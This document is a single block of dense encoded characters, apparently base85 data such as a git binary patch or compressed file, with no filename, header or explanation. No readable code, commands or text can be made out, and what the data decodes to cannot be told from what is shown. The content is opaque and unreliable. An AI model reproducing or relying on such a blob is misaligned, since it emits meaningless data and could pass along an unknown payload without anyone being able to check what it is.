ziXO9qnO6+q2G$5^B*@MTNhC_bP08YRq{&*rU^$~Fg1&;x*wRy3lc}u9RHRqH-f73O z)mKnq<6sbj0#OP1$0&*mXe=kW=CHdJ`3*)e9F zW9CA4TkT($gU*fu^qn3|5)pIf(|;WbUF4 zMg=R_{$<3I4kcD7#8ku^nZ|;@P#~G=fr;=}Vh#VL<)LVxjA{|XlfQ~F$X~@ktVML}DBl>rg@#A>)e|P*G`U35{$oQGM;!qVRrV6A|_4kjT>uLN{ zBY!pWSA)i?K@8OxKh+pN)qltM5&ID>8B@7Be<}|4Lz_R9EA=f?g@4Vdd=nvas_?Hl zl`HtOrhblp%`Z?MYPL<~I~Cbeg@4VdeDlCQRruGO3e_AA(oYrsHKz*yno~#juX!B_ zKG$7bzhcBgUb&8oCD$dTj?{{T=!xTpW$^Tue@=ObPnLK2MasL-zh>cut}My7Cj8#) zDm9N5Nxn6qg4|V_F={MgV1Ku()G}%;Vql85iwvzV@Sw?kYr-mTS83*`v50|z-mcOy zqsAfzUg36?W{KD@>|b-V!v7z@#|ZzL+_xso77BMhx+*LYu z)L6v8&T&_%ebiXQ;Nb5rGLj#qUc|uqaaZZMQDYGUL&#mF<427}3~VBIl}aM^3;Wl+ z*x>`{`9byAPrFzGsL^ps1}QFb$RTxp;f^uMGLn8H|7QQ17dtqB;|l~Ijmq;a&h^tZ zI(!#92v&R z8vLyV{zxGvNiArK?unYP0L}(WVyT5VTY4~f8aE^+?2QN~17lbd6E_+FN-bUIlOtz749wy}>TJ>Bfv@O@^`V`1oe6e%g#r%g}JUw5@KnlZi?279k z@{t|^@)(}u@ibO1#(E6rRN)I0mw?$6Uz+nHvA%~sA48Om%s{I9F0|vgIR$!WINow9 zxB?ohLZ6L2Vr6+(*E$N$;Vx0;bI@(v6QH8Mog5YJfyYAcaKYPj*S+U-HZHWpU6zS# z4|MM2;i$knP~bUjf6Jb*znk3O1Xmbf<^A!jSBk;%Xn)gb_c+p`0YwneyUY|FvA<#O zgwh>bF3N_D2+{XKM{G?P^vw0)r0<91Yo)tRTHrj+a|U0T>pW-ig~uoO8bfy_w7_AU z=Tm%Tt@E727asho1DrM-rcLhiYe0YE-eOuR^YXE+Gk{!poJ1Mf>pa-Kf*U#93IbR6 zbO%Ta9LRb8iZA;*&mg|=7{ZrBz=a3FHBP{V2f;O7z=a3FB?-9jpqs>Thik?Nm^gho zfIVCx$BM1oIa#_6CmmkCsesPK)&lP9rfXYyN9%XPigHIuPbqOF4&RUP=IFQ1<0E`pylddT2tHw&!eLDYZ;VI5IK4R{dNEduL!d?q#U@s&mo$PIEpi9`)} z5H;XI)PN|W20VxwP%u#g9z+dah)PFmtr+j<4A8?^X1ahHM#3xZLpO73z_153;CDpt zj+S2RpCQ-9(S0>tg4{3HyGZ}?lFg46vi{0_;$w7I{9^x;nWs#0WVUS~s& zbzTkLWCo+w;0;imYLmlHY&SbQ>L|(-zg)bS<9bL&JWGUFxOGHDxRoj;hY0XZ@dFD# zpjyFIsrt3A^$2VB!qr(GZ2eFt_hz<^SIpfbZny@u72JsV_SXh&uNHOoACt{m(k6rkMVch0E@d{SK^(6>jHB5T#^oJ8{pfEzr*xY-ZqrgY-SC7AD{C!USGj{x)^-oj3)31|_O);lx{s?s?@MlJWWAR7z8voE==hHVi z)CmEZDW@Gbzt1}W)L2G-P~cSMff4bSA)ZJTy~4X?!HC#1|Eb5?DAu7~HzM{OBUTKE z^zk4Dgn9;zO2P6=q)!_eNYD8*_XxxG!%fq{bMpIUX6+_9XMQ&f9r*NSJxL60{z-!a z!s$4l5RLpvdjz5cW^JV0Nt*X552f)JPNPHS5j2|4U{F8CP8vT_ zzejZwD*{b%eX>wa^ZTTo$qU|-_etMr9rb?I83?A!-T#jJRZG$DDStWh_*e3N)fwW` zxLm+C1oB6mKwt%z;Z*Y*-=Bo?{BkDu$oSH6K^**-$szW(r(i zx5j2R1+Kv(!xWf^hs6{aD@Sl=pL5M0EBD9|3;kqN?kP?doGM@LcS*ZExsd70^A(R8 z?XwK^#610VfJ5$s54P4))|UCa*Ljya_3X-3G{=kxr^gY zX;;1hP<|6nsRbJ{ zo_zTO3*_d7awlXdel>mU0#Ng)z8P}})EPDcHBZ`(Pr#Tbwambzn+rgz*#Y?k!FYmT z#1HZ~<`Rq!C&7q!!02$g_piB0B)y7K<wQr<6JWrBz3Zuc8Xo)LY&aics)Dq0a ziF5gV+<83^p6v|h&Q;1!vyRchx;Y8f&2T+^AuZj>Y3XuKOLuZwx*Xu2V&$i$`JRLf z(1Qa@&{F^dwLJP9t2_?U!pa#fSTfh%i#7moP?j-nExyR%y^{cZ19E=0V|JQ-&8Qd8ZUTAi&r#!2tKW}NIJUP!$o~1s&Dj~7_ zLDnnyG=Z|)9fuNFmLEEH$MR5H&;q7cZK@vUS2xegFzM`x^KYz=x=F@md!#K<2cL?g zDoFDrd$N^EibmDThI%$*ba1yw@v9*`*PXGfx{Ngu8B8&mtR`|ku18~dAWNUkLK4CI znNutSnl`K9)@kF>-n>~a+&Y6^B-U{2LcD;VGbwkV>{D%Jn`rA-~+D* zcrfTa!`6Qee2t$8AK3(ckU1rb!*?@>FMrkxH*@%M*b_G=;hVtjngBHsVDzh#M#4A> zd=SP7!2dG*nbPogxq&}t3V%|I)u|)!+z&VcVPtFI@V@~*^XI|0Jqh2H&j|Roe-?cI zW&InA_GN}=Piyw%DjwV%J%uB(X(o~1<+FY~o1PO`6ZJAgfaS~9IWizolKCg^=!_16 zHP=97YCiuzO^;%{+|1#e1bXCvUZT?@_&vPtTgMWlS}>O=^3mU=0Xj;5|Cix&@}ediR>0kOO=0h9pd5o9v>)S3 zeuF36LJ4d8*#L{l?USRbP42r2La&?{FRgu>rl*7?H65f$jS=t0Od{7hO^UZa;AF9= zIu6scJ1VXH6;cevXu6adeuMY83r#_K6A;kw70m3+o5!!L$XC3H6JO;4!z@;WdoNyx zDWLt0qFD3Ldxm{ws(Ld3X?KPqQs_y7 z%xh!ODW*J{qwyn!zDI$OFiuAQG7e&n`;^r5Z3GQP1$=Nki(bSmcrP-TT*z=cLg1{^ zite_$Pp!1VasD@A9w%^V3NNvQv|t9?KO~bxAWFb;#}u~y-i~j#Omn-`bc%u;zef?! z_FEXA=VhAbeWh3*C4hhg$pmfj!cbSx29QFB5y|9qN|Zto3j4l`ouaLXd6TP6+RKDR z`GWyDmXLciUqu-ZqQ*V}0#{8YQi>(CRjyRbe;@{7WpcSgQ;T<=)2d1B=0HC6UlBz) z+KWY5RCq56M}ZW*ipmTUp;4K^)2TAQL1ng2m1_q~fh$OUjX_FrJTD*AmikHokk_H! z#FOL>dQ@|8B9os+vGqTtrfHwzez5fKUBem?kVqq90=W=#_uQjdP<^udf1eTFKceNKDS-o{&cT<#mTclfH!W$Jw>2Y0Wa zD1{Fvx*3cQC$KZxf}oa0GJMtJ%G3q_0DXb}X)jY};*%t=GWDx?!#J--U;$pMT({Yr zVYvsld;8R5xF&(gRp>EJtG?>7W$HQjS*G;J`Y~Q1kDrT~on4(~C*A9Se`a%1k`ogY z_{C2)9nA*E$c?I2?%Iyzk?@bF&4I4Y9C(1qX{@V4J~uu%p2?g}7Xr?u3# zqZqKY`tT#okNVX1@0`=B5;xnN>MMBr$!4m8hD;zAdRnWg%6Ey$>8nt0Sxv}xGMNT9 z>jcXooVw6IX|?_%^SDAdN{|c7sKC|0Ghg&CrQYEAFhz(+;#eNnkmt0i7=$0VObg~~ z!91S&_*o*N{1f{Dvk_K|VTZgYNd66V1-{LgjplaQf#3S*WyERR{?^6QR zfd%8OL_s@fz1&J;7VQ-|?H%Kgr%q(`iE`3Q*qB2wIKz(LBAF>X$6|2O=K%m+xiJbO zeQ=NlR0h;#I>WpN0gNRGxb{3w%2>hRjvY3PAh1?8&jm&o9K&9%LxA@3R{SzP(69o< z=p9zGpGOE=hw%EN*MF>Oc7VT)e^F~lS1?>EZSMpd@g{OSr-^|y5(5D_ECVPVPM(!V?}3-jebQYW`IdX zAGpJ3wdWPNk4od?SGm&_VFet$kx8ns*5M?l%>2q-&azPa&N3sm6 zxgSnq!3Z%CP})(cXYnbb9xKL$PCd6EfOUd$^qJNRh>ysTPvpc{sVN5q0-&b_K+C6NYAZLKm_MM@f)@~R7Yr3?mX4e^m-@;uG_%xgr!_5}sebxb zK7?k~I)ax%-&CZ5NTJR6fN-KhI600icc$Q4PszM$ve`)deV%iQ=}RQ6T!OMf|AY_&qDqQ| zW;80b9Gn73wCFKZ%)I^f9_Be7Rh@PyA`?WSIN>s#3lc+8Xd17kpG3_m^!gO_ACswD z8G56(kG)D{047!c0nq?ti=lTF5BSWHNg8xO6bgnwr~MN3F(L#gQ>BoLNT)V|=KdTd zfe8LddwC|p!X?86F$+z%W$KF{XYFN587@g6)Z^g6O*|MXSOlL=1wYJ#BPcCgf-yRf zit*F1ARTxM`U#gUMHs`V$k`Y1Sq2Sxt0dhLbL&62Bk3$uE_X5k>ten zh!XhOBJlIDj-SQniXsIEEZsRCC-LrX-fE7c#bDfs@jCRVU-2l8r^RPSMm^1=2v=xp zQH1SJ&$pVlw^*Pjtk;(;^&6CxaD>`M=DUsObCs#r{)SL=enuCslcVW;NHZylPz5kY zmKjf>D{uu+C3m3tBa?LUB+fz45wqaQjFE&GoG^uphx|hklCTE(P~icDS`jEU)DaqL z`%QtxhNMW(GWBsZBQ3;Iram+>#0vh15V`%Xv}BoOY6%a7jH$BnUY}3HWqikQ4Q-$5 zrA~!2e{nn3Qj$l%B+?dj)dK~98iKjtchdGju)I4t%exa|>S6FONUCZ!%3$8Zqlu|) zcB~#DkoS<7>gnTh>MOq{IdxxBPEF0S1{Y1vF^0VQ?AQ4ImOcsaP)Mlt2t_j?d#=Wt zF19`>0wJ5;hqnq6Qoo_cBH?1ZuGmm}!0c?qp9z5DA7s=O8^-sToxjIl4rU>QWbl7x zGp(nA8_47aLQzj<4;P4U3zvWOReHjd4Y+Wlzr83ZEZ*)TK7`69;nQ@MM}^*RnSU3*~4= z{7SXq!;8mTb=_|h)&IaNYfN7>_|>kjqzN^^ z7uP?p=b~`q`J!;khTRZ_D^BU6u(WPH+D5Z$E5Ds$H%XAvd|Ji92iO6`)ycK_rr>;` za#%eZ;zds{mv=hxV7wNjvvDrR^y&!BLT(n-RoVEYFH#$cXr>fOZ%w3{D^igo46J(| zLh(PuUy7!Z@>;bSG@}J=>IRj{HBNq};;nl8!xxFq(Bplh$CEuEZCPR_T}Y^@fWXZB zQ`zDh*kdlXY_il41}V@Y_>cx2Lc{+^e#vdvq!_@$R>ArAZrV?Sex0j^qe68}3miIm zKid-2_m-{(Z4x=>vJtxLATFVbXL9ws(5-t;L%C_`piTNV7EA~wb|dMqX~Oq7gV!Q- zRwL=M5dcvS3G2A3)8SIC) zOlv$B5@`Z|r%TH!{OYS%IMT}KpK$-^h=cFQ2#PVf;fwSE0W`7?u#q7802>KLA3zI={of?!zxykKC^sGRn7S}+ zLt{e-CA8Pt`B2u;F8H(DpO-RuSWluNYb4>37K+7SoFq=-21>tcQWrI`WU5#})<bbX*(KuDMx9fZ*yp3^eCz`{nu`}0R320&`=8BLDGF1`U^*(pX8lVv4KqL&nXx{e5*Au)JT+0pHip}FJ)Q_ z2_#wzX^Q=7=5dG@y_gJfBX;niGDFwxSBG6FfR?$z3Vn%t87&>5`wEso5UVz0A7Z%7 zuikYvrOT6lz7vIiat}Awf`~>_tzW%4hZmwp8gbZJUOXkkRR10=YRjs}`qkU;DW>7% zFWLk9W4YF078@E^Q3{O#dzJVCNJ`qiKX@DL3iwK_5*K619Z-0{YIeWnK(z@ApxY4! zHpzowJ=-%>^L=uHQ=|^G;a#u z`dKx_Gz-4csFeu`IoT$}Li%Mx1wq@CKR|AZo*g^%rhLq-$Qu!5c|9hRE&-it;>IT| zR@g1?&v?FouWt&TqJ@urK;a6%qORrkZslbn6#1vT-LP6b@^bttuBnn1$_e{w9L%ZPcZ`dV?Rd!V?JkNG zy{^2t5l}5xgrye5-ZhBZf8mtNdh&_5aOE-l$XQq& za={2HN8kI}$2x=_$U6*4&L%Z%f-(#`ngkRs4yXj)zCv%X6nYvljO(1h_PCkOfa1-E zga%NghNA!j@8~nBp_)?a>L`R+(fqOQnAEfs;qe^WG=j3ogAW9TZow0Y0GHG-n=*Rx zFbw2GM(`o_eUM(l*h-P#)GA;OHx)Fg1@|EWV^a^yMHtykwNJ%%v`~`KTJeuqS2Hhy zFTSNQV8;kJK{#ZLCg)dBxW-;h&CrT>-wvU^J17*>p@>or?Po9W2(i%@xQ>(|Z5CR3 zmZ|YR0uGnOtAMWnisI9JkRC>G{HsDG(2c;H7>&B|1U01`MwWv8q;}S0PGj`KJ`P$J z$lB1)E%m7rs4cZnmVsU5LK?`Ink>+tt<0W)3ncd4LVohSaCR?FDSNbc(7j@;FWvV%gm8vSq_Bn|Sf z)d9K(IFLbzilwH9017DC^&zL^Ts&~*X>A2U-R1ex+QoQ5bD?P^=2@nmnM4FeyWk|M z@+5_n7I_NrG$`X5yaN}khwCr79#bjrR6OnS(W_V+=ul8GQSdRaZ>Ta23eMvda8>3Q zDg@%vi2clyNS@MT?jzFt6M~G2x8a?1m)M}9Fq9yLaEBv}k>eO6q%8e8lm&E1s5vF>DRt-=v7pL?TYpGKqFcA=xK1&yzIGo3HC6Jx7E>QfM=w+=o{( zHh>b4lWRvwF{*OKD7GhUn2k!Mwb-tQ(hR%H1s%GYa_Ensd9D#lSM(i4C?Aq8tOD0j zsbNP5zZf*fu^VKW=PG)=z|&{(9LXu~g&th3dmH_IWc4)8J5ofDzK_3J>yX4x#ra&RXlu_P8YCDzGc5kT9{+WaT(%PMdUV&@v z?thU~BpCAv@LS@vtB{6fh0ox$ovF>^Dag+Ga(>b4^#E+7-mlBvX)l9p(XQO-TCS8$ zUM3`pl;)0e3ZaXOPa<8Mjnr~|`YUvGe@MM{;}uDvn2X?zYv{J?vBj0TH6z1}zYKcPoGRoqZi{St6@Y52iI2NyNjei_Z?y~3l)k}3$}hP#&%~N&{vgFj z6HODoz*PA!R<=hUF%|0XKQs>pBYM2Y22g!Mu%LRV5?b0Lz!^NojG7lyNkPC$H zBQ@+m!FcBq!FWp3CO90zz(s{bFo*#RiQqkp`(3FC$Dg=Fz(t8RQyobJ^bT+!i#p?+ z3~BaTdDZGnOnWtXD9Yr5(l|~2Z}=&4EQS4oKHG_TF7C9$+!MOtggpkmuwVW6A0}tI zMpOg@21H72ft3M=44+ z&`P7$uYNs`EJ704boQ&)8Si$#dIjE%1rwsi<8#G^%6_x+N&GROc$D!eZHH+|KYaG~ zl4Xa;9lSo)bT>MH{>7TUm3+Hbe^Z)#cw5f-$Y!e)!WNy$4AzZrXt4Qd0!65Yo1!O&0KAgn_D6+$7|fPP-$ zB66q>`B^9QJJ8GHZru#9y@y|-4iBsx;#Hf9F-!iKU<=G5gMisAR?3WF| zhNw(!nE+_0+3k7R+o^S;J|_^+*qpEp3Ohp}n*;J4Q>hDW<1V6+xe)TPaXOZ%s?MYk0VVta7+& z%&Nif#UDlxKn_l<-%HOj%t`15zxvK$q5+%;KV4R~RQ1BYb#jW_Q~w?+;PzEuP4+e) zy3~ozgGM3q*>tptF=M`zX1ZY-GK0C8(~#^h^u(}vA5YPX;NPUSpzSHz0{9UciP}?p zK#0F^z58a6QYF{BQbRM~N?Y^333BDKYA`@p$C_8@#5po>^fqjFDj9Xyt=gL_YMw%UUS*1@Ul%SGm*$g-l>k*gZ< z+wg~iu@dHM;dF8q^EXb#cyK0ap#FVs@PJ{2Er6mJ-=rdtV*HeWc%v;X@dn)`|EKW% zB(Bvds~~1UJJV2R@^!!974M~Z#U6K~;1wh$z{cZ6&MS5iuc!c_)()%B9{{25B`y)g zwu36aX{sniM88@`5n!Epu=GTOq)-&~vja(Xfg%FV)L{uJ^b^DzR-qf|J*fl>ECKgm zd*vwSA2>HL8D-OQZ4ZvN4iitoROCb$YI}*eQSj~xkZYJX)u;Ml=tU~!c1JcxO*|(( zb|zvGg?%kh7a~A$s$V^IkknAblbix$%Y~Kn)$uqnogDsfMo=gyqAm~)8?8jW@!U32{ z6=z<+mZ3P;&18dj5fk0LpODZCt}2kAK*|;T`)7y&{{}V?$>-YB;Ne{Bjsr{$zd%Dv zQNUwJhL$7Ei7<^UsO_ZC1iWG0vxh4HD%4kgFNz{9T`$(g2Td^#u_COQtkoubA|+1zuIuMm*>xihzPbt}}pI8Z}-9Nd^3B$eI#G@_?yPeiqB1bYUm z%}W&?ss07*o_RWfTwgW#v`zgZ57@^8K#n$b9|EN9d!QckRl~mFHU0?!5ta?V=I=0e zg+as5cs|T73yC;{e$&&FT97F7T(NnR0fr&wz(S*qqdW&n0toR9yhA{G$kgmKfZj;tp zDe@o`KZp>T5XkU7Qd7SLlco)CA=11UT8g81hfoc*Ba}4g1qoj3q4C$6)2T^SmB>b}ui0clJ(Rap2X|EEOJn;l|8wqW?$|;B( zy6Id$n(XAGj_bkhK@8X=2{$QIxe^N8lTt##7}O*L9jW0eiYxD@Zc(5vK(|OOd!t94 zFeS8i`=}gnX9zK!Q0ny&RPz88Ea0eL%J-3iU@2)Cya*UY70aa`y+g+$BXXq?h65Is zIPD7oSc_jHCIoz)PaY;bL@}n*~IXfn483)42O>X~BNXXJCd= z$rFVXI#8khm=S8o8vto$NeV@K$I?80m|h>&U$KmMfWIE66~#C8S0q@1S7V~rpP274 zkz$<&4GGAVZEXdY2n_~m%T@^eTZt7$^xt7mQf%FhS>QOP;BvMwch-~CIQDEE{od^q z306*8ZFL`7c`4gXk?u$GQSi!%t25ocyc&u5a^1fCmHGI*JFn)_`bVs!WAP*Ge&MB<;O6TBU9srNF3pbv9RELDwX(K zBNOLUnLehZBhzL0)ftqo1ZPX~l@b>#fv=CrtOSB$9Ux*Qy5=Q$B6lME3J8J${;53` ztZ^Ly#7~$>4G+@zYTSxnBZL;XLL%RccFx6@w0+kz$nuh@n8pN2V9b9vtd80sZ1A1M z)S5zR+=ysMAdov64Y@;zD#uK#z6=pW?#@seNeaOhC^tmPUat!sy->ywN|k45paosP z)kYwov^2cHX<+nb1&v<}$v8iLrH)JDJur9BQ9cm~5R1Y~;P^+!pg>M|0kngVUi`{> zqH#68jwdBEFxE&g)UT(CX$Dxp*koffd)AHn6vP@;vX?(-|Hf*>RLQ*P(VOsdpEkZs?Hf?`buTzrWu_z8q$pbV$W z`J5@W9D)@(_F1At=X|RLELic|*rEDkpj=a|1QQZAwR@ChxtNVjb=XOc9&^-plX0iw zcXBsS>HR^<8xRrbfhLjk^OPj;{<4wNkD(C&e&CmaD`co2xkkp%PRYj-^7~d&&CG>r z=JJ}XWpbwm+=d2QX+68+ZW>_ov7cNa&SlKLJST9ul}<*!8lh<(huo~}~jyBEds~gdLH#$KY3?@&#IZp)(xO_Z;gTHc=jDTAt-Rcq_7nJ?*=3d;{oi zWw8|Cw;}=awnG1a!ebeLNilORN~^40v*r&)+6KUX4f3V3*s07U{MI!1uNQ!R$T5XI z_K3cFiX$Kd>PQ2k$%N)-9tPR7UQ78lww|nuuneazupv&jH)09H;;4u~<+jci?>6Da z!th~{M^TQ@_40_F?D zUgfg;0M`0-02*93dFX9D%~wz!S<#kYKF+;yeHU)%`#_^6*TPkc2RHIPhpf~Xso^v= zDdM75VJKabY=Gf}W3thJtYnmSlMy*p@7g#ainm*NI48VedA8B%M(76o>h1<^ zX2(36F=)s=Qxtm<1iPHLS9)R&8hzp<@AL6`pFf7Sj>Lk~=<|O}My2}v5*TTbXy8(d(^f1H5xdPq@)+Vm{ctxk76pu0xvz8~y59a2QOT_1>+fV$6(KhJh`4 zw&2hj&UCP|qqC*oW8ZrmNkg11ee^14ORRAlQPp~q&uy&oIY`cULs|9QKMl=zLPN|v z8x_HnJTEBxFbVWUoXe#&@(Q0O;fCl+A@I|LT1Rds#uMB-{pyF9OED2J&!*5jta9sa z(<&;y4#{Yyg7lseZed}V68fR(NG=4nA~irnzK!_h3jr?vL-)v~einnv;!mEJ4`dYZ z(R%eWBzfCo3jZR>fVMN+alN&tGe#OW6h%HS_vyl$QiAEfCsvXxVsQH4aI7R>e7LZL zkCjXoA5)<+iIv@&QX%C}6y5^j=0JDUw zjak!s;?KxT^Wy?r*jgN$-+@jbgPabAxlu9e*M-IAKmdZ+I)?))Yv$n9Y<)jM#L_By z;*u#JJ&ry;>a=$%yffntS<47!$v>xQe3(7MjU!&9kLZUJM^m#`}McMHi&0)$Oy69P@?XX z8Y0LIkvM!umV5mMq?DR&q9kJ9^Yn-^C@; z_0&S;8ETzeyA@UcJBX8x;cMuQ61uDw0S%VqpaeO1Lj^f5sw#uFCpjg8|!*1_E93s;eFQrKr6H8%E0HK~N zG+;=8?IbcKFn#HQ~t*g$|!!P*ot zwB!4AN`d0BZiC|b%lI;Ye}G~DJamCTtF-;l-vxU=*6OO~QGy*pa~kZgp*z!%ycXu1 z`cmZ=mJzW3kUl-fu~iQ96SA_5U^Pt8KzFb2Og}E!Y0L^JV@q7A2&d+GgFDS_ct$7-u zyfq9jMr+=oq+hr-1JxG4`V#laf$f6R7j4b^u;vb3#;-p8F%Hjo9C`pYtz`rV{PLq5fwWI3$sS1iL}EXE9wXh- zQYvf#K4ER+S8v4&gcb@bGQzGmUamG?@{AYBco~Bip^Y1cBP6_`fKzxA=YRSADY$#j zip3`X-kj{|9E!NpOe0etNc4Wb{IEJ zL-N6>GjOT4y=p)DXH2 z%ClCRjfPie#3vykCg{L*l;$HX{p|ZCVcjj!FSqk{>Lm|GGXnRKm@#(t*ua&8ZMNWD z#<>^NNaQ+yko#}31>L-&d&|^pK#2UtXxT8!7R;RGvj*&}7_Ntc1EhBzEVj76pp{bbvgX?LVZF;#oBX3b^A~oahS%S;ItLYBT+!q19+;ByfNH zQkLajOYI0QWecqCwZx5r3yQjmUdI{LUqpVc6H^pQY)yjRjNa(BDjM(_Ks7H5-tv{+^Q(57m^?a?T-KJ@&m9-*3h{gC)A2lJH6DM;O zW0MX}nNFI+xmdSZBGF@GVBjxI2>H%r(VNkuW2QU~;zs+%(<-m%pu*!*ge};Qm`|{> zb}03ogfUpT*YBg3dO{!scA*@Y5U%I=Gx^kCtRi&?zkF8UAA>_TZm%ff7@D%xG>tcN zLJI2vk&87>YewOp2t6J&rHOz_N=dT7qV!>pC z{6EZK=&K)Oy=md~@6*7;*_ut|R&0FjzwVr-tbT9@-2@zdc_x1AV^#A^rjLJCrnU`z ziY1Fp+e))CjFhykv<0umOVF3?hQ}$6ed#;^w*GrZrf` zgsqLRGKVGowsYH1uIMd%5Ks51C%161CGHM8ZX3yE{~?vV+BJIS8UK?q=dxaCn(VQL zT>~hR{+)+@YCr9h5p!ivzf7q@uLt}U;a9mb@`u!1_`jpZvOUT9gnJ{;r1_)}CR@sX zP*s9AgdH~>inBfXgaD`7W07Dpheagd{Nh__`(vEBJN@CUqT4rBh)n?S62B7cR2_Gq z=Fi#+pnZT|&>HNx61g~63qGclZ^a7Wm=#-3O8FLgbqaltQr=Eq#c&n|!!26O*P&t2 zhxWlHOswtEJ@NzlP(lx1>JxME9F`wAj08AuzKQ*7E)i$>W??X_1vf`O%t57m?!Xy? zZLfR<1>!6xYlBUR)G&xI(o@7d+d!2VB%W(#}J+plnLB1tAe0 z(*8{m(vFawJS0*kLLvz1;UPOApHi-!2!L8L;wVSH8VzQ{v4%N4}qp}kl@pE3QsnNa>t)@ov zkYuZ=(L5yCYHBnONw%6A%|nu{rbheHTV03RIq-lSU;}0V3~2KJXJj6SQ*OVv)%BZf zr_hJf(PD3}bQNVZm1@(-??q^cw93$N;i7_GL+4D%ZkdUEYu*ZT)tj&C?m0Fmr7uVN zurM~R^34}vbEph%JdIPlDN|;jFh|!~$b?#Jq3!3YyO0I=(^@w3uuc4TBgH&u#1KE# zT4-v}T4<)wTH5(@AGN$BjFhRHin?0s zP~Ob-cVhB+r5LYTixaFJ#so!?nT>ZKRGQ!RiVG2t0uXY$9zrZtge=rUXlf843-l0c zGNeQg!9!2u5g{VOeEN7gLcDM`Ua@tuz8Ftmw9j4y#cCscK<=Cgcd6LHB=r%JbNmYFcTuY}HM&At)r$)pBfb^VWBjMnS6a2rC?jvsa~L-W zaA7f?S=FiI%X=78!yLK8iE`yLwl%*(?;9r#>I})$29l)8d%}(Rz#RucACFqiuyzwM znHpPZ)jp%L{LinCj(h{%^J*dA~d_zRKmkDTPZ{f_Of74*t@UP7aH6_ zA+6LG(&DJE%8GtN5e z*6rUBeWi`?;vr&um{MROTD!YB?83J>;Y&LDBNyL7>hxCM`EQB0$RG*%yfMf-+i6+oJb z(d>rb;|0r5b^yB>XQXK2DmcK*md|KXh;H;`FDIx8F?ju@8sDdz3gEtZN&@fXJ2I00G=V#y}07o~EngJtxn^SQR)?(6@j!DpU7Incnt_1BI zm0ABjFY#1Pr(R}3cfmliKobh&PGcY=!6b?nQCCxGd#2Q(K3W%5ki|{$iQ^QCqYrQ@ z{wfFjWdd9NpbyGOe zjH0S+QLtX2K+gG$Q9Y%1t2I2HdU z7Kdn9x!y2oOV8LTRDq>eBz``p3+cK`%XB?hHLs;;kSs~t9rg~Kzrh$6X*p>>&x?hZ zE%=FYu;}eWy#)uJ$0$G}3icGdv7FzdAyBr=9yJs(`T*tQ#|5TJLx^N;&#=E}kjXTX zD)@30Dk^)&Zfx|y*Hw=SXuBc?huH#n|nkP_A*3(}?!Ftk}} zxYsgrjL|u0;6d2D>SJsQ##q3$JSLL{m;P}s0|QFe9FqwWg-LXpOau&XC-{YyOf(ku zY{n2YhKpRTnhG#ws0DDqfpac`tdT=)2MedO@H80dR7!F@c4wmC{h)3zt*$y$2m_A z4GhsRdA{Im!9a!1C6u5_NA0EnJlO4&9~ZsO$KEu8>;P*k@Seu?#01hk0I5C*-;fvHQXSbq|1q8@=4-u1t+Ozu9OeBP?~-iP9NO^q+vxB05&#-n#!wb!V5wL=h&Np z55Y5lMkiPXz}34UOg;3vkk3bGG89Aay#9?SQE$LU}R-0mttoJ<7x1qTY+ zs6`6u3x9V^%p)4*b%?=8Y=AQv)O(3BDmiOBup8M;IcEupofSq0dpQ#O;COHZ5WEXV zVDNHkUmH8Xkq3kUdj%&`*a(aT8eFCm?L?_DVDqB5+_Wu;%h7<&{+od=G=Rp1Q2G?X z-KmTK`#ypPA%K`eUT_kCpSYYtQ=O%w&gid;a5JS=HQ2op>{o|>gm!eIIJ3oMP(Ja3T*k9?3=!$S*< zhWYSbx4p>q7 zRbUr*SmXo6BU#34a8``olWT3lz1fyypEOU$!E=hFP#U}SOciw*d5?roB zKPZ+Dm;yz}0AElz3HN@6ydNxQ0I2H9h+lmk=r$1#V7fBMqbT_phiV3za7=KeboC%e z$(!pdB`-1$-Al^U$wd)eF^laE?{L_fZEpincUgr|X(v2%WU!OLuaBI*fWkD9FbF9uI!R)KrA@Nsjz>j`@K72V` z3va~b9<-^(2C7X}Tkp(pR&^pnc=5xrk~}A6h+x&=?0Pa z4yZe>NGk&++)E{FI+NwBI*wxevEtl1UxritS0t0$?@rc+l)gns`2wZvrg!jItY&}`@M^3JDf4tue%jhWm+$>m4kV}|tCtJgp9fwr;Ae}AwSz)6 zrvBT}PXVV(F9-O;VBCSc*d2q6lj|q>9r`s860TFMkUX94x1_my-TS2lCwI`SQ@9_} zVHEcqb!+PWuUerU%qzk)IT>z~*d2NDqc(G}7)scnu&)In!tD~Hv;ju+@->aLK7QAVtS4EGFY`Z&}ehvzFOvieT2Tft6U9H49~B;mjM(`(?0BR!99? z>Qkp(b55H_xnnck%WNwTLn6jXU(N3ORP(DA{37liT)v!mmtL_cXdGhGWl_Dq4gGb6 zCR2N`+`uNdQ(3l1dCaQjpZHXR>0)@XF9z0zWqdJjYOI*L4qp!b;Iz$TYNS$v9dG^u zbH!Y^#$)uc<6)2#`o2{CWgO5cW7IM`&VE%r>>O)zU%w% zNBJXE-bGyi8dIiU3H4%2niVg??t)VZ9mWS%vOn5K&q3w29z2yF^wDqlIQ@o>(C=?m z{0e$-&$F=wwv`TdrzC%jrWL(|>k#g-TK?qjT$RNhw_48PI#Z2YynYBcvBTDI5+aP` zT;i0R^PJKI?-6N&r=L_i4*a}@pU2wpx8ME7?J$=$za>%h7E5&}d=ZLiS$+WUjN+WZ+>TNZa$_pw8o*u$H%U^%Fi^>|SeT>j2ZS%Q#ifK^z#9<3 ze)AxbDj}>J@##=PoB0b+i`$(LlBmUx2de9-oG3o8DN~ z2sl3rLIXAdst%g~l&yUj&66gC)?ms`g6Vw%puWJ0tqib84R29(i}L{U3n;#xEe3B0 zY10T)6G1cZWtf1XjOiyRjf{QQTPT5 zn-H3fhmPvNjo^oi9V1%mLNv9MN-$cQ>YIZCdcD!SwZ)>X)M(yXy{X5roh{HI;>Bp; z4Nj-L^ad|58k{yxMm8A3#UMtV{)`6qi&4V|)m9pE(uD9ZA2T5bT0+A{@F%v|Hln=) zNJQLh0hPzVb+deix_e=bTT$r&crNyhL|U2h28Ed@NR^!Bsx-kSP4GEIqFz0vr?<3BnqX4@9gYg*_St3X4k$+8 zFb^IS4&ZV{I4#B7@93Jv$8B;KCceomipe!gOs;p!kK3S&9;SL~ZpLlm3oyT0MxS4M zzC^1hIDvrze$PxeSaC10t=!Kl6WVI4`qSP|F@^sKzlcXY*eX}na`NQA3_!BQ#j4vx1&t>#}Os#a&@vxxO`=Ui)hlLl~2Po=!CvE7t`Mi_qoTv zgvsX6>Rk7s;CI~Tg4MIUH>`Ys9OF%0xr{EjuFSU#6UL)! z2)npv5PmTd7LO~(JK5rK=6G}6XC5y=p*^dwfU4Z-J`;4zs=Q&fb7khN;M7&w%a?66 zbLn~cvgr~2!sqLaKyGTjMo&7*(8D+QC8sC9g62$C-iLz?SeZ%_e(*32@E<*bUon4_ 